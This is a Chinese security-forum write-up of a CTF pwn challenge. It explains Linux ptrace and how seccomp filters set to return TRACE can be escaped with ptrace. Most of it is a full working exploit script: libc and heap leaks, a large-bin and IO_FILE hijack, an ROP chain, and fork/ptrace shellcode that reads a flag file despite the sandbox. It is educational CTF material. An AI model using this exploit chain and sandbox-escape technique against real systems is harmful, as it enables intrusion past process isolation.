问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
基于ptrace的沙箱绕过
本文记录复现羊城杯hard-sandbox这道题的过程,并在途中学习了基于ptrace的沙箱绕过
前言 == - 打2024羊城杯遇到一个hard-sandbox题目,禁用了open,openat,也不让用32系统调用(retfq也无法使用),于是就卡住做不出来了,赛后一段时间想起来这个题在网上搜了一下看有的师傅说可以用ptrace绕过沙箱来拿到flag,于是有了这篇文章 ptrace学习 ======== - [主要是参考了这篇文章](https://www.anquanke.com/post/id/231078#h2-1),这篇文章ptrace讲的很细,但重点是在逆向如何绕过ptrace进行调试,而不是笔者的目的绕过沙箱。网上讲ptrace文章也不少,但是大多数是讲原理。 - 这里记录一下学习ptrace原理的一些重点 ptrace 可以让父进程控制子进程运行,ptrace主要跟踪的是进程运行时的状态,直到收到一个终止信号结束进程,这里的信号如果是我们给程序设置的断点,则进程被中止,并且通知其父进程,在进程中止的状态下,进程的内存空间可以被读写。当然父进程还可以使子进程继续执行,并选择是否忽略引起中止的信号,ptrace可以让一个进程监视和控制另一个进程的执行,并且修改被监视进程的内存、寄存器等,主要应用于断点调试和系统调用跟踪 strace和gdb工具就是基于ptrace编写的!!! ptrace函数的定义 ```c #include <sys/ptrace.h> long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); ``` 一共有四个参数: request: 表示要执行的操作类型。 pid: 要操作的目标进程ID addr: 要监控的目标内存地址 data: 保存读取出或者要写入的数据 详情请参看man手册 <https://man7.org/linux/man-pages/man2/ptrace.2.html> ptrace函数的内核实现: ptrace的内核实现在kernel/ptrace.c文件中,直接看内核接口是SYSCALL\_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, unsigned long, data),代码如下: 源码链接: <https://elixir.bootlin.com/linux/v5.6/source/kernel/ptrace.c> ```c #ifndef arch_ptrace_attach #define arch_ptrace_attach(child) do { } while (0) #endif SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, unsigned long, data) { struct task_struct *child; long ret; if (request == PTRACE_TRACEME) { ret = ptrace_traceme(); if (!ret) arch_ptrace_attach(current); goto out; } child = find_get_task_by_vpid(pid); if (!child) { ret = -ESRCH; goto out; } if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { ret = ptrace_attach(child, request, addr, data); /* * Some architectures need to do book-keeping after * a ptrace attach. */ if (!ret) arch_ptrace_attach(child); goto out_put_task_struct; } ret = ptrace_check_attach(child, request == PTRACE_KILL || request == PTRACE_INTERRUPT); if (ret < 0) goto out_put_task_struct; ret = arch_ptrace(child, request, addr, data); if (ret || request != PTRACE_DETACH) ptrace_unfreeze_traced(child); out_put_task_struct: put_task_struct(child); out: return ret; } ``` 在使用ptrace之前需要在两个进程间建立追踪关系,其中tracee可以不做任何事,也可使用prctl和PTRACE\_TRACEME来进行设置,ptrace编程的主要部分是tracer,它可以通过附着的方式与tracee建立追踪关系,建立之后,可以控制tracee在特定的时候暂停并向tracer发送相应信号,而tracer则通过循环等待waitpid来处理tracee发来的信号 建立追踪关系 在进行追踪前需要先建立追踪关系,相关request有如下4个: PTRACE\_TRACEME:tracee表明自己想要被追踪,这会自动与父进程建立追踪关系,这也是唯一能被tracee使用的request,其他的request都由tracer指定。 PTRACE\_ATTACH:tracer用来附着一个进程tracee,以建立追踪关系,并向其发送SIGSTOP信号使其暂停。 PTRACE\_SEIZE:像PTRACE\_ATTACH附着进程,但它不会让tracee暂停,addr参数须为0,data参数指定一位ptrace选项。 PTRACE\_DETACH:解除追踪关系,tracee将继续运行。 需要知道request几个参数: ```text PTRACE_POKETEXT, PTRACE_POKEDATA:往内存地址中写入一个字节。内存地址由addr给出。 PTRACE_PEEKTEXT, PTRACE_PEEKDATA:从内存地址中读取一个字节,内存地址由addr给出 PTRACE_ATTACH:跟踪指定pid 进程 PTRACE_GETREGS:读取所有寄存器的值 PTRACE_CONT:继续执行示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。 PTRACE_SETREGS:设置寄存器 PTRACE_DETACH:结束跟踪 ``` 再次解题 ==== - 上述学习完是明白了ptrace的工作原理,但是好像和sandbox没太多关系,直接看到如下内容,[内容链接](https://www.kernel.org/doc/html/latest/translations/zh_CN/userspace-api/seccomp_filter.html) - **在追踪器被通知后,seccomp检查不会再次运行。(这意味着基于seccomp的沙箱必须禁止 ptrace的使用,甚至其他沙箱进程也不行,除非非常小心;ptrace可以通过这个机制来逃逸。)** 这里的意思就是如果第一次触发了seccomp,那么第二次就不会再次触发seccomp,那么之后的沙盒等于没用了,官方文件也是说明了这个ptrace对seccomp的逃逸 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-d799d8aeb9658d56325e4091e3522430c66df9f2.png) - 可以看到题目的沙盒确实不是直接kill,而是返回trace。这样就有了利用思路,调用ptrace(PTRACE\_SETOPTIONS, pid, 0, PTRACE\_0\_TRACESECCOMP)然后让子进程拿到flag即可 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-e5b6a4c7e4468ecb4885aff45ebe610c7eb183b0.png) - exp ```python from pwn import * from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process("/home/zp9080/PWN/pwn") # p=remote('139.155.126.78',31700) # p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn']) elf = ELF("/home/zp9080/PWN/pwn") libc=elf.libc gdb_script=''' ''' def dbg(): gdb.attach(p,gdb_script) pause() # dbg() sla = lambda data, content: p.sendlineafter(data, content) sa = lambda data, content: p.sendafter(data, content) sl = lambda data: p.sendline(data) # --------------------------------------------------------- def add(index, size): sla('>', '1') sla('Index: ', str(index)) sla(': ', str(size)) def edit(index, content): sla('>', '3') sla('Index: ', str(index)) sa(': ', content) def delete(index): sla('>', '2') sla('Index: ', str(index)) def show(index): sla('>', '4') sla(': ', str(index)) #--------------------------泄露libcbase------------------------------ add(0, 0x520) add(1, 0x508) delete(0) show(0) libcbase =u64(p.recv(6).ljust(8, b'\x00'))- 0x1f6cc0 #-----------------------------泄露heapbase---------------------------- add(2, 0x508) add(3, 0x518) add(4, 0x528) delete(2) delete(3) show(3) heapbase =u64(p.recv(6).ljust(8, b'\x00'))- 0x290 add(2, 0x508) add(3, 0x518) print(libcbase) print(hex(heapbase)) #-------------------------------large bin attack--------------------------------- add(5, 0x558) add(6, 0x558) add(7, 0x548) add(8, 0x548) delete(5) add(9, 0x598) delete(7) io_list_all = libcbase + libc.sym['_IO_list_all'] wfile = libcbase + libc.sym['_IO_wfile_jumps'] lock = 0x3ed8b0 + libcbase pop_rdi = libcbase + next(libc.search(asm('pop rdi;ret;'))) pop_rsi = libcbase + next(libc.search(asm('pop rsi;ret;'))) rsi_r15 = libcbase + 0x0000000000023b63 pop_rax = libcbase + 0x3fa43 pop_rdx = libcbase + 0x166262 ret = libcbase + 0x233d1 leave_ret = libcbase + next(libc.search(asm('leave;ret;'))) read_addr = libc.symbols['read'] + libcbase magic_gadget = libcbase + 0x163090 + 0x1a syscall = read_addr + 15 fake_io_addr = heapbase + 0x16E0 orw_addr = heapbase + 0x2740 orw = b'./flag\x00\x00' orw += p64(rsi_r15) + p64(0) + p64(fake_io_addr - 0x10 + 0x40) orw += p64(pop_rsi) + p64(0x2000) orw += p64(pop_rdi) + p64(heapbase) orw += p64(pop_rdx) + p64(7) orw += p64(pop_rax) + p64(10) orw += p64(syscall) orw += p64(ret) + p64(heapbase + 0x2a0) mprotect = libcbase + libc.sym['mprotect'] PTRACE_ATTACH = 0x10 PTRACE_SETOPTIONS = 0x4200 PTRACE_CONT = 7 PTRACE_DETACH = 0x11 PTRACE_O_TRACESECCOMP = 0x80 shellcode = shellcraft.fork() shellcode += ''' test eax,eax js exit /*把child_pid的值存到r15寄存器*/ mov r15,rax cmp rax,0 je child_process parent_process: /*PTRACE_ATTACH ptrace(request=0x10, v00='r15', v1=0, v2=0) */ xor r10d, r10d /* 0 */ push 0x10 pop rdi xor edx, edx /* 0 */ mov rsi, r15 /* call ptrace() */ push 101 /* 0x65 */ pop rax syscall /* PTRACE_SETOPTIONS PTRACE_O_TRACESECCOMP ptrace(request=0x4200, v0='r15', v1=0, v2=0x80) */ xor r10d, r10d mov r10b, 0x80 mov edi, 0x1010101 /* 16896 == 0x4200 */ xor edi, 0x1014301 xor edx, edx /* 0 */ mov rsi, r15 /* call ptrace() */ push 101 /* 0x65 */ pop rax syscall monitor_child: /* wait4(pid=0, stat_loc=0, options=0, usage=0) */ xor r10d, r10d /* 0 */ xor edi, edi /* 0 */ xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call wait4() */ push 61 /* 0x3d */ pop rax syscall /*PTRACE_CONT ptrace(request=7, v0='r15', v1=0, v2=0) */ xor r10d, r10d /* 0 */ push 7 pop rdi xor edx, edx /* 0 */ mov rsi, r15 /* call ptrace() */ push 101 /* 0x65 */ pop rax syscall jmp monitor_child child_process: /* open(file='./flag', oflag=0, mode=0) */ /* push b'./flag\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x67616c662f2e xor [rsp], rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push 2 /* 2 */ pop rax syscall /* sendfile(out_fd=1, in_fd='rax', offset=0, count=0x50) */ push 0x50 pop r10 push 1 pop rdi xor edx, edx /* 0 */ mov rsi, rax /* call sendfile() */ push 40 /* 0x28 */ pop rax syscall /*没有成功执行再跳转*/ cmp rax,0 jle child_process exit: /* Exit the process */ mov rax, 60 /* syscall number for exit */ xor rdi, rdi /* status 0 */ syscall ''' edit(0, asm(shellcode)) edit(8, orw) payload = p64(0) + p64(leave_ret) + p64(0) + p64(io_list_all - 0x20) payload += p64(0) * 2 + p64(0) + p64(orw_addr) payload += p64(0) * 4 payload += p64(0) * 3 + p64(lock) payload += p64(0) * 2 + p64(fake_io_addr + 0xe0 + 0x40) + p64(0) payload += p64(0) * 4 payload += p64(0) + p64(wfile) payload += p64(0) * 0x1c + p64(fake_io_addr + 0xe0 + 0xe8 + 0x40) payload += p64(0) * 0xd + p64(magic_gadget) edit(5, payload) add(10, 0x640) add(11, 0x540) p.sendline('5') p.interactive() ``` - 成功拿到flag ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/11/attach-8f3b2cd7784176bcbe459fecb6dab033a6d0cc54.png) 后记 == - 在编写exp的时候要注意,由于子进程是父进程fork出来的,那么我们并无法得知两者执行速度。但在笔者的理解中,只有父进程执行完ptrace(PTRACE\_SETOPTIONS, pid, 0, PTRACE\_0\_TRACESECCOMP)后,才能真正的绕过沙盒。在此之后子进程才能绕过沙盒随意执行任何系统调用。 - 那么就要在sendfile系统调用后加上下面这段,也就是让子进程循环执行open和sendfile这两个系统调用,保证父进程执行完ptrace(PTRACE\_SETOPTIONS, pid, 0, PTRACE\_0\_TRACESECCOMP),在此之后子进程就可以顺利执行open和sendfile,那么rax的值也就不会小于等于0,拿到flag程序也就退出了 ```asm /*没有成功执行再跳转*/ cmp rax,0 jle child_process ``` - 本地似乎还可以用io\_using打通(远程要看内核版本了),但是笔者还没有学习io\_using,所以还没有实践 todo
发表于 2024-12-04 10:00:01
阅读 ( 593 )
分类:
二进制
0 推荐
收藏
0 条评论
请先
登录
后评论
_ZER0_
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!